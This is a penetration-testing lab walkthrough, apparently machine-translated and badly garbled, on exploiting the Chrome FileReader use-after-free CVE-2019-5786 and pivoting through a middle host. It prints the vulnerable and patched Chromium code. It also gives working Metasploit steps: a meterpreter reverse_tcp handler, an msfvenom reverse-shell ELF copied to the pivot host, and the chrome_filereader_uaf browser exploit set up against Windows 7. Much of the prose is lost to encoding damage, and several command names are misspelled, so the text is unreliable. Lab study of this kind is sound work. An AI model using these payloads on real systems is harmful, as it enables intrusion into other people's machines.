
рдкрд░рд┐рдЪрдпрд╛рддреНрдордХ
рд╕рднреА рдХреЛ рдирдорд╕реНрдХрд╛рд░, рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рдореИрдВ Chrome FileReader UAF рдХреА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдкрдиреЗ рдЕрдиреБрднрд╡ рдХреЛ рд╕рд╛рдЭрд╛ рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдВ, рдзреБрд░реА рддрдХрдиреАрдХ рдХрд╛ рд╕рдВрдЪрд╛рд▓рди рдХрд░ рд░рд╣рд╛ рд╣реВрдВ, рдФрд░ рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ рдЕрдкрдирд╛ рдкрд╣рд▓рд╛ рд▓реЗрдЦ рд▓рд┐рдЦреВрдВрдЧрд╛ред
Pentest , , , . , - , My English level is bad, , . , - , , .
CVE-2019-5786 Chrome FileReader Use After Free(UAF) тАФ ( 8 2019 ), , , ( ), .
?
, , , , , JavaScript.
js ┬л ┬╗ тАФ , , (, , ) , . ┬л , ┬╗, . .
FileReader
FileReader тАФ , File/Blob , (loaded, progress, error ...). ArrayBuffer readToArrayBuffer, , .
HTML5 Web-workers
Web-worker тАФ , JavaScript . , web-worker ( 3D). , web-worker , postMessage.
postMessage API
postMessage тАФ API (iFrame, web-worker, service-worker ..). , тАФ transfer, , -.
, filereader.onprogress ArrayBuffer, .
DOMArrayBuffer* FileReaderLoader::ArrayBufferResult() {
DCHECK_EQ(read_type_, kReadAsArrayBuffer);
if (array_buffer_result_)
return array_buffer_result_;
if (!raw_data_ || error_code_ != FileErrorCode::kOK)
return nullptr;
DOMArrayBuffer* result = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());
if (finished_loading_) {
array_buffer_result_ = result;
AdjustReportedMemoryUsageToV8(
-1 * static_cast<int64_t>(raw_data_->ByteLength()));
raw_data_.reset();
}
return result;
}
filereader.onprogress, ArrayBuffer.
DOMArrayBuffer* FileReaderLoader::ArrayBufferResult() {
DCHECK_EQ(read_type_, kReadAsArrayBuffer);
if (array_buffer_result_)
return array_buffer_result_;
if (!raw_data_ || error_code_ != FileErrorCode::kOK)
return nullptr;
if (!finished_loading_) {
return DOMArrayBuffer::Create(
ArrayBuffer::Create(raw_data_->Data(), raw_data_->ByteLength()));
}
array_buffer_result_ = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());
AdjustReportedMemoryUsageToV8(-1 *
static_cast<int64_t>(raw_data_->ByteLength()));
raw_data_.reset();
return array_buffer_result_;
}
web-worker postMessage. , , , . , , . .
Pivoting
, , тАФ Pivoting, .

:
- (Kali linux).
- NAT .
- HiTM (Host in the middle) тАФ , , ( ).
NAT Network Address Translation HiTM , , IP NAT ( IP ). IP .
NAT , IP , (//).
, HiTM , , , !
Pivot , HiTM, , . Pivoting тАФ , .
:
- Virtual Box ( VMWare ).
- Kali linux ().
- Windows 7 ().
- Linux (HiTM machine).
- - , , .
:
- Virtual box 2 NAT KaliNetwork тАФ 10.0.2.0/24, VMNetwork тАФ 10.0.3.0/24 ( preferences/network).

- Kali, Network, NAT network KaliNetwork.
- (Windows 7) NAT Network VMNetwork.
- , KaliNetwork, VMNetwork.
- ssh ssh ( ), GatewayPorts = yes /etc/ssh/sshd_config.

- Chrome 72.0.3626.119 .
, .
. , nmap, , , .
nmap -n -sn 10.0.2.0/24
nmap ping 10.0.2.0/24 ( 10.0.2.1 10.0.2.255) , ( , , ).

?
- 10.0.2.7 тАФ Kali.
- 10.0.2.5 тАФ pivot .
- virtual box .
HiTM . Metasploit framework тАФ , .
metasploit .
msfconsole -q
.
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 10.0.2.7
exploit -j
:
- use exploit/multi/handler metasploit, .
- set payload linux/x86/meterpreter/reverce_tcp , meterpreter reverse_tcp , . , bind_tcp.
- set LHOST 10.0.2.7 , ( 4444).
- exploit -j .
, , , Kali.
metasploit msfvenom HiTM . .
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.2.7 LPORT=4444 -f elf > ./expl.elf

( ).
ssh :
scp ./expl.elf username@10.0.2.5:тАЩexpl.elf'
HiTM .

, meterpreter .
sessions -i 1
ifconfig , 10.0.3.0/24.

, , Pivot .
. , pivot , , , 10.0.3.0/24 10.0.2.0/24 , payload - , .
pivot , , , .
, metasploit, ssh.
2 :
- 8080 тАФ .
- 5555 тАФ meterpreter .
pivot .

, metasploit .
use exploit/windows/browser/chrome_filereader_uaf
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.3.6
set LPORT 5555
set EXITFUNC thread
set URRIPATH /
exploit -j
- use exploit/windows/browser/chrome_filreader_uaf , .
- set payload windows/meterpreter/reverse_tcp meterpreter windows.
- set LHOST 10.0.3.6 , pivot , VMNetwork, tcp pivot , pivot .
- set LPORT 5555 5555, 4444 pivot .
- set EXITFUNC thread , , -, , .
- set URIPATH / , , http://10.0.3.6:8080/ , .
, chrome, , тАФno-sandbox .
chrome.exe тАФ-no-sandbox
, IP, LHOST http://10.0.3.6:8080/ тАФ 8080, , , - , .

- , meterpreter, .

рдпрд╣ рдореВрд▓ рд░реВрдк рд╕реЗ рд╕рднреА рдЬреАрдд рд╣реИ, рд╣рдо рдЕрдкрдиреЗ рд╣рдорд▓реЗ рдХреЛ рдФрд░ рд╡рд┐рдХрд╕рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕рд╛ рд╣рдо рдЪрд╛рд╣рддреЗ рд╣реИрдВред рдмреЗрд╢рдХ, рдмрд╣реБрдд рд╕реЗ рд╕рд┐рддрд╛рд░реЛрдВ рдХреЛ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЬреБрдЯрдирд╛ рд╣реЛрдЧрд╛, рд▓реЗрдХрд┐рди рдиреЗрдЯрд╡рд░реНрдХ рдЕрд▓рдЧ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд▓реЛрдЧ рднреА, рдЗрд╕рд▓рд┐рдП рдореЗрд░реА рд╡рд┐рдирдореНрд░ рд░рд╛рдп рдореЗрдВ, рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬреНрдЮрд╛рди рдмрд╣реБрдд рдЕрдзрд┐рдХ рдирд╣реАрдВ рд╣реЛрдЧрд╛, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдХреМрди рдЬрд╛рдирддрд╛ рд╣реИред
рд╕рд╛рдордЧреНрд░реА